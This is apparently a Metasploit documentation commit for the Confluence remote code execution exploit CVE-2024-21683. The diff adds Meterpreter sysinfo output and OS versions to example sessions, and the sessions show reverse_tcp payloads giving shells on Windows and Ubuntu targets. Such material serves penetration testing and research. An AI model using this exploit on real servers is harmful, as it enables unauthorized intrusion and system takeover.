Add sysinfo Meterpreter output and target OS version numbers

Author: remmons-r7

documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md

@@ -38,7 +38,7 @@ The known Confluence administrator password.
 
 ## Scenarios
 
-### Windows Target
+### Windows Server 2022 (10.0 Build 20348)
 ```
 msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
 payload => cmd/windows/http/x64/meterpreter/reverse_tcp
@@ -87,10 +87,17 @@ meterpreter > getuid
 Server username: SRV01\Administrator
 meterpreter > pwd
 C:\Program Files\Atlassian\Confluence\bin
-meterpreter >
+meterpreter > sysinfo
+Computer        : SRV01
+OS              : Windows Server 2022 (10.0 Build 20348).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 1
+Meterpreter     : x64/windows
 ```
 
-### Linux Target
+### Ubuntu 22.04 (Linux 6.5.0-41-generic)
 ```
 msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin
 ADMIN_USER => admin
@@ -129,5 +136,11 @@ meterpreter > getuid
 Server username: confluence
 meterpreter > pwd
 /atlassian-confluence-8.9.0
+meterpreter > sysinfo
+Computer     : 192.168.156.133
+OS           : Ubuntu 22.04 (Linux 6.5.0-41-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
 meterpreter > 
 ```